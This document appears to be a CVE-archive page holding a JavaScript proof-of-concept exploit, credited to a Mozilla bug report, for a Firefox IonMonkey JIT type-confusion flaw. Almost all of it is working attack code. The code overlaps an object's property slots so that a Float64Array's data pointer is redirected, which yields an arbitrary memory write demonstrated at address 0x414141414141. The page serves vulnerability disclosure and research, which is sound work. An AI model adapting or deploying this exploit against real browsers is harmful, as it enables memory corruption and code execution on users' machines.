4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / original_poc.js JS
//original PoC taken from https://bugzilla.mozilla.org/show_bug.cgi?id=1530958

let ab = new ArrayBuffer(0x1000);
let victim = new Uint8Array(0x1000);

function Hax(val, l, trigger) {
    // In the final invocation:

    // Ultimately confuse these two objects which each other.
    // x will (eventually) be an UnboxedObject, looking a bit like an ArrayBufferView object... :)
    let x = {slots: 13.37, elements: 13.38, buffer: ab, length: 13.39, byteOffset: 13.40, data: []};
    // y is a real ArrayBufferView object.
    let y = new Float64Array(0x1000);

    // * Trigger a conversion of |this| to a NativeObject.
    // * Update Hax's template type to NativeObject with .a and .x (and potentially .y)
    // * Trigger the "roll back" of |this| to a NativeObject with only property .a
    // * Bailout of the JITed code due to type inference changes
    this.a = val;

    // Trigger JIT compilation and OSR entry here. During compilation, IonMonkey will
    // incorrectly assume that |this| already has the final type (so already has property .x)
    for (let i = 0; i < l; i++) {}

    // The JITed code will now only have a property store here and won't update the Shape.
    this.x = x;

    if (trigger) {
        // This property definition is conditional (and rarely used) so that an inline cache
        // will be emitted for it, which will inspect the Shape of |this|. As such, .y will
        // be put into the same slot as .x, as the Shape of |this| only shows property .a.
        this.y = y;

        // At this point, .x and .y overlap, and the JITed code below believes that the slot
        // for .x still stores the UnboxedObject while in reality it now stores a Float64Array.
    }

    // This assignment will then corrupt the data pointer of the Float64Array to point to |victim|.
    this.x.data = victim;
}

for (let i = 0; i < 1000; i++) {
    new Hax(1337, 1, false);
}
let obj = new Hax("asdf", 10000000, true);

// Driver is now a Float64Array whose data pointer points to a Uint8Array.
let driver = obj.y;

// Write to address 0x414141414141 as PoC
driver[7] = 3.54484805889626e-310;
victim[0] = 42;